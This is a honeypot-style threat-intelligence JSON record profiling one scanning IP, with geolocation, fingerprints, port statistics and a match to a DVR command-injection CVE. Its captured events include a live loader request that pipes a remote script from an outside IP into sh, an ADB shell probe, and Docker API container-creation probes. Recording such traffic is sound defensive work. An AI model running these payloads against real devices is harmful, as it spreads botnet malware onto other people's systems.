{"ip":"108.165.95.17","data_as_of":"2026-10-27T11:25:19+00:00","observed":true,"total_events":609,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"4 loader / command-injection payload(s)","confidence":"high","network_type":"residential ISP","why":["4 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","The same evidence places an address in the public exploiter feed.","One request that fetches a botnet binary is exploitation on its own, whatever the event count.","Not in any known-scanner range.","Sent 56,804 bytes, which is sustained payload delivery.","Counts include 3 interactive session(s) as well as first-packet events.","Interactive sessions: 1 interactive session(s) ran commands after logging in."],"engagement":{"level":"payload","label":"Sustained payload","detail":"56,804 bytes sent","bytes_sent":56804,"session_seconds":0,"persistent":false},"basis":"combined"},"first_seen":"2026-09-30T06:06:31","last_seen":"2026-10-23T14:59:21","events_24h":0,"events_7d":2,"interactive_sessions":3,"interactive_sessions_24h":0,"interactive_sessions_7d":3,"interactive_protocols":[{"protocol":"http","sessions":2},{"protocol":"adb","sessions":1}],"geo":{"country_code":"US","country_name":"United States","region":"New Jersey","city":"Secaucus","lat":40.7908,"lon":-74.056,"asn":400536,"org":"Nodestop LLC"},"source_domain":"undefined.hostname.localhost","known_scanners":[],"scanner_tag":{"key":"peeringdb:as400536","label":"Nodestop","category":"isp","url":"https://www.peeringdb.com/asn/400536"},"cve_matches":[{"cve_id":"CVE-2016-20016","title":"MVPower DVR JAWS web server /shell unauthenticated command execution","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/shell?{{*}};","kev_date_added":null}],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":3,"first_seen":"2026-10-22T01:22:52","last_seen":"2026-10-23T14:59:21","verdicts":[{"verdict":"unknown","sessions":2},{"verdict":"post-exploitation","sessions":1}],"personas":[{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, dlink-dir645@1.03, fortigate@7.2.1, gitlab@19.4.2","sessions":2},{"persona":"adb@Android 7.1 TV box","sessions":1}],"services":[{"protocol":"http","port":80,"sessions":2},{"protocol":"adb","port":5555,"sessions":1}],"logins":[],"commands":[],"downloads":[],"files":[{"sha256":"cf5101a45c45f5c9d97025a757ab9a6d64d0086de85ee237e2e2529be0a26720","name":"shell-1","size":30,"mime_type":"text/plain","kind":"adb-command","times":1,"first_seen":"2026-10-23T14:59:21","last_seen":"2026-10-23T14:59:21","virustotal":null}],"attack":[]},"top_ports":[{"port":2375,"proto":"tcp","label":"Docker","count":297,"sessions":0},{"port":2376,"proto":"tcp","label":"Docker-TLS","count":291,"sessions":0},{"port":5555,"proto":"tcp","label":"","count":11,"sessions":1},{"port":80,"proto":"tcp","label":"HTTP","count":3,"sessions":2},{"port":8000,"proto":"tcp","label":"HTTP-alt","count":3,"sessions":0},{"port":443,"proto":"tcp","label":"HTTPS","count":1,"sessions":0},{"port":8088,"proto":"tcp","label":"Hadoop","count":1,"sessions":0},{"port":52869,"proto":"tcp","label":"","count":1,"sessions":0},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":1,"sessions":0}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i131000_f57a46bbacb6_f50d94e863eb"],"tls_client_hello":"16030105d2010005ce0303380ce377f43c396b8a8ebf408584bbd2a3d8fd201dc77ef55907c9a64b125b4c2067d22d3a7c71a783daabc6f22c17c55072be66ac9d35e288f6075f09e5bca4b4001ac02bc02fc02cc030cca9cca8c009c013c00ac0141301130213030100056b000b00020100ff010001000017000000120000000500050100000000000a0010000e11ec11eb11ed001d001700180019000d001c001a090409050906080404030807080508060401050106010503060300320020001e090409050906080404030807080508060401050106010503060302010203002b00050403040303003304ea04e811ec04c075581da9a63a55d88cf1344020ab99b1599c1f27b253881a8ea179577c4513ab1d48ab1a350aa31ee1c551694553e967640764fb32402d7365fc9711dcf298fe93362a42241cb0280bc642bd182f3e7705d60102fd8c3d86846ea947ca5c0ca330f2bdec3c8687c66ce5a9362ce4c478938bd07508c8742a1959cabc42a7b0019e1ebb18ae3796a248302f3b42f506586354752ca65ce8dc946cf953a06a8009d1af574106f38725235c496ed1886a22aa38912c0a5bb747234818bc956054c59e65492b69ada005217d602a6e6823d3349865e653dff7b16952018a6c917dc1c005013b00547923f16f31896ca415924df49fd9056bc8a3209d3926773734500cc24c53cc897021086056761b62a54a4ef1f49374263434aca6f1d17cdc6301aeaa1df82ca3a018b6cab62b7708832b015987a85af3877a63e5bfb46b86057771e1368c3a617463d4a80c8144e217410762a27b676645922ed80bc23422a903c4816d249425a60b92a49c87e040874638f7a5c600b827a1105ff8031e9f856296100cfa5340eb036145f42ac69a4ba3bcbfd655c74e22354cd93624591c9408534ccc598e027c8ee56258b07532d87ce36c9341ba711352ac77ca61b6a31452326cc9c37b49d1bcec0968c309b61415b08589b94686619c343ea0192f43e43e30c17d205c71b45898b1f38867990525b4bf0283780fc92bae65b4fe25451174cb1857c3701b12c9fa6f84d3a197917a338675fc4336a7c95118dca2b293707406720cf4a654379788438bdfbbab2bf2331be1888f207b140289162c6568800fd2442dde05692958bd3b0149bd73aab46ba7d1277071551d6c720e0e516315231a7e9649ec69bbd3764ee456167e87bee03a36d9d440f0abb58fa922cd673933d874ef4c6b4b89093ba0a4a4434c38c39ee9f37e77d49bd5338104d0665567af23e32ba47a0dcddb081cab1167e425e6c4ce15868f01f86144664bfa293f14a26e2bc5756ef2a0eb63565e6b1dc3f718fb8853f51bad5b865a7d5baa0042317b489204902d6b959f04c59b55bca258c0c17397c9b812b286f7a481b8a863b052e1b7865a36360d5824cea13409b0b7b3bba7cab43f8b837b400173e1326369769faf2a964719c3b171862c915e1c95b36e45b1d8a2cc1f7284ed12375c94ba14368e38982c53a8cd35ec9317c91914fbc9b6043295443bbb1a0532a824820883198a89dcb66160c74a97a263bd1262ac3a91d6fa1ff9c4b69c4770c0544f7335bbbddcc43bf721676abde8a664eea93096620d3bd26b40dc0832fc9f6ad26fa62422f3d3956238132ed60b775c3514e44691654b0a963d0e29a6db0419c5f12be826c63e0629324a0b4cf13da4aa072e02572e921104aa21980cb98af8cd819296cc2081da626eecf599e5302625c7bd768215f7c16a80c55e3191761d764a5f7cc5eff383aea9c4951cc79a17bd6c0a9c893929946a863ae545f6e39fc801362ec6a512a30cabc5218a372d9d470a08b042bbb31434a161b7922f51731f285254580620c4577c1041218835affd04b5082c198c294146589c861a735520ac6bb4bfc599905a7123ae73cdcc3b417511395274c51db150f40a6f3a66053d9817e379c5529f21ad7f36c3e66a4abf67d68e712bb8b9321f617e8a6489035d260c480c579c1a4efc2892903e23b1022a4e4ac59dfe48144562ca69426cd949777b001d0020480c579c1a4efc2892903e23b1022a4e4ac59dfe48144562ca69426cd949777b","tls_ja3":["725543c78edf669194c11dc7a039b56e"],"http_akin":["b11cuq040_00040812_cfad16f7","b10cun030_00040011_c91eaf54","b11cun030_00040012_13ee3d34","b11cun030_00040014_54d07b6d","b11cuq050_00050812_107c8b82"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13i131000_f57a46bbacb6_f50d94e863eb":2806,"b10cun030_00040011_c91eaf54":31,"b11cun030_00040012_13ee3d34":5616,"b11cun030_00040014_54d07b6d":3817,"b11cuq040_00040812_cfad16f7":24,"b11cuq050_00050812_107c8b82":152},"akin_families":{"b11cuq040_00040812_cfad16f7":{"head":"b11cuq040_00040812_cfad16f7","shapes":2,"ips":24},"b11cun030_00040014_54d07b6d":{"head":"b11cun030_00040014_54d07b6d","shapes":2,"ips":3817},"b11cuq050_00050812_107c8b82":{"head":"b11cuq050_00050812_107c8b82","shapes":9,"ips":152}},"user_agents":["curl/8.5.0","Go-http-client/1.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Vivaldi/7.0.0.0","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0","Mozilla/5.0 Chrome/124.0","Mozilla/5.0"],"timeline":[{"date":"2026-09-30","count":5,"sessions":0},{"date":"2026-10-03","count":108,"sessions":0},{"date":"2026-10-04","count":104,"sessions":0},{"date":"2026-10-05","count":61,"sessions":0},{"date":"2026-10-06","count":85,"sessions":0},{"date":"2026-10-07","count":116,"sessions":0},{"date":"2026-10-08","count":99,"sessions":0},{"date":"2026-10-09","count":29,"sessions":0},{"date":"2026-10-22","count":2,"sessions":2},{"date":"2026-10-23","count":0,"sessions":1}],"recent_events":[{"timestamp":"2026-10-23T14:59:21","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CLSE\u001c#\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000����","payload_hex":"434c53451c230000010000000000000000000000bcb3acba","method":"","user_agent":"","ja3":"","session":"017d53c0-33fa-49a5-8800-e6e795d8f2c8-6","seq":6,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"86b1324f71746750","strings":["CLSE"]},"interactive":true},{"timestamp":"2026-10-23T14:59:21","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OKAY\u001c#\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000����","payload_hex":"4f4b41591c230000010000000000000000000000b0b4bea6","method":"","user_agent":"","ja3":"","session":"017d53c0-33fa-49a5-8800-e6e795d8f2c8-5","seq":5,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"78f914c69cd57a3f","strings":["OKAY"]},"interactive":true},{"timestamp":"2026-10-23T14:59:21","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"OPEN\u001c#\u0000\u0000\u0000\u0000\u0000\u0000,\u0000\u0000\u0000\u0000\u0000\u0000\u0000����shell,v2,raw:id; getprop ro.product.cpu.abi\u0000","payload_hex":"4f50454e1c230000000000002c00000000000000b0afbab17368656c6c2c76322c7261773a69643b2067657470726f7020726f2e70726f647563742e6370752e61626900","method":"","user_agent":"","ja3":"","session":"017d53c0-33fa-49a5-8800-e6e795d8f2c8-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"46f1298632b8008f","strings":["OPEN","shell,v2,raw:id; getprop ro.product.cpu.abi"],"iocs":{"domains":["ro.product.cpu.abi"]}},"interactive":true},{"timestamp":"2026-10-23T14:59:21","port":5555,"proto":"tcp","app_proto":"adb","app_protocol":"adb","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"CNXN\u0001\u0000\u0000\u0001\u0000\u0000\u0010\u0000�\u0000\u0000\u0000D[\u0000\u0000����host::features=shell_v2,cmd,stat_v2,ls_v2,fixed_push_mkdir,apex,abb,fixed_push_symlink_timestamp,abb_exec,remount_shell,track_app,sendrecv_v2,sendrecv_v2_brotli,sendrecv_v2_lz4,sendrecv_v2_zstd,sendrecv_v2_dry_run_send,openscreen_mdns","payload_hex":"434e584e0100000100001000ea000000445b0000bcb1a7b1686f73743a3a66656174757265733d7368656c6c5f76322c636d642c737461745f76322c6c735f76322c66697865645f707573685f6d6b6469722c617065782c6162622c66697865645f707573685f73796d6c696e6b5f74696d657374616d702c6162625f657865632c72656d6f756e745f7368656c6c2c747261636b5f6170702c73656e64726563765f76322c73656e64726563765f76325f62726f746c692c73656e64726563765f76325f6c7a342c73656e64726563765f76325f7a7374642c73656e64726563765f76325f6472795f72756e5f73656e642c6f70656e73637265656e5f6d646e73","method":"","user_agent":"","ja3":"","session":"017d53c0-33fa-49a5-8800-e6e795d8f2c8-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"5546552145d8a326","strings":["CNXN","host::features=shell_v2,cmd,stat_v2,ls_v2,fixed_push_mkdir,apex,abb,fixed_push_s…"]},"interactive":true},{"timestamp":"2026-10-22T07:52:49","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"host\":\"<HONEYPOT>:80\",\"user-agent\":\"Go-http-client/1.1\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?cd%20/tmp;wget+-qO-+http%3A%2F%2F31.56.209.86%2Fdvr.sh+%7C+sh;","summary":"","payload_hex":"474554202f7368656c6c3f63642532302f746d703b776765742b2d714f2d2b6874747025334125324625324633312e35362e3230392e38362532466476722e73682b2537432b73683b20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Go-http-client/1.1","ja3":"","session":"711a3239-b8fb-4b8d-9388-82f5d4164a08","seq":2,"duration_ms":219,"bytes_in":318,"bytes_out":156},{"timestamp":"2026-10-22T07:52:49","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"GET /shell?cd+/tmp;wget -qO- http://31.56.209.86/dvr.sh | sh; HTTP/1.1\r\nHost: <HONEYPOT>:80\r\nUser-Agent: Go-http-client/1.1\r\nAccept-Encoding: gzip\r\n\r\n","payload_hex":"474554202f7368656c6c3f63642b2f746d703b77676574202d714f2d20687474703a2f2f33312e35362e3230392e38362f6476722e7368207c2073683b20485454502f312e310d0a486f73743a20<HONEYPOT>3a38300d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"","user_agent":"","ja3":"","session":"711a3239-b8fb-4b8d-9388-82f5d4164a08","seq":1,"duration_ms":100,"bytes_in":153,"bytes_out":78,"enriched":{"digest":"f5f7ac3625fb2d7e","label":"HTTP","strings":["GET /shell?cd+/tmp;wget -qO- http://31.56.209.86/dvr.sh | sh; HTTP/1.1","Host: <HONEYPOT>:80","User-Agent: Go-http-client/1.1","Accept-Encoding: gzip"],"iocs":{"urls":["http://31.56.209.86/dvr.sh"],"ips":["31.56.209.86"],"domains":["dvr.sh"],"paths":["/31.56.209.86/dvr.sh"]}}},{"timestamp":"2026-10-09T09:41:26","port":2376,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/version","summary":"","payload_hex":"474554202f76657273696f6e20485454502f312e300d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"","session":"71af66e4-fb65-4974-a556-1843ce121fb4","seq":1,"duration_ms":100,"bytes_in":90,"bytes_out":78},{"timestamp":"2026-10-09T09:41:26","port":2375,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/version","summary":"","payload_hex":"474554202f76657273696f6e20485454502f312e300d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"","session":"3433da04-1ade-4880-bc67-da9b9380e347","seq":1,"duration_ms":100,"bytes_in":90,"bytes_out":78},{"timestamp":"2026-10-09T08:18:11","port":2375,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/version","summary":"","payload_hex":"474554202f76657273696f6e20485454502f312e300d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"","session":"3ada8ae0-3ca0-4e63-9db9-777b6b53d60f","seq":1,"duration_ms":100,"bytes_in":90,"bytes_out":78},{"timestamp":"2026-10-09T08:18:11","port":2376,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/version","summary":"","payload_hex":"474554202f76657273696f6e20485454502f312e300d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"","session":"dee4ddbe-3aff-4218-9f02-98010d58f6e4","seq":1,"duration_ms":101,"bytes_in":90,"bytes_out":78}],"http_methods":[{"method":"GET","count":594},{"method":"POST","count":3}],"distinct_ports_total":9,"top_paths":[{"path":"/version","count":585,"ports":2},{"path":"/api/json","count":2,"ports":2},{"path":"/","count":1,"ports":1},{"path":"/command.cgi","count":1,"ports":1},{"path":"/geoserver/web/","count":1,"ports":1},{"path":"/images/json","count":1,"ports":1},{"path":"/containers/create","count":1,"ports":1},{"path":"/shell?cd%20/tmp;wget+-qO-+http%3A%2F%2F31.56.209.86%2Fdvr.sh+%7C+sh;","count":1,"ports":1},{"path":"/wfs?request=GetCapabilities&service=wfs","count":1,"ports":1},{"path":"/ws/v1/cluster/apps/new-application","count":1,"ports":1},{"path":"/images/create?fromImage=alpine&tag=latest","count":1,"ports":1},{"path":"/geoserver/wfs?request=GetCapabilities&service=wfs","count":1,"ports":1}],"distinct_paths_total":12,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept-Encoding","Host","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Host","value":"<HONEYPOT>:80","notable":false},{"name":"User-Agent","value":"Go-http-client/1.1","notable":false}],"distinct_sets":2,"events_with_headers":5},"tags":[{"tag_id":"CVE-2016-20016","tag_type":"cve","title":"MVPower DVR JAWS web server /shell unauthenticated command execution","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/shell?{{*}};","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2016-20016","https://www.pentestpartners.com/security-blog/pwning-cctv-cameras/","https://www.exploit-db.com/exploits/41471","https://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/"],"kev_date_added":null},{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":1}]}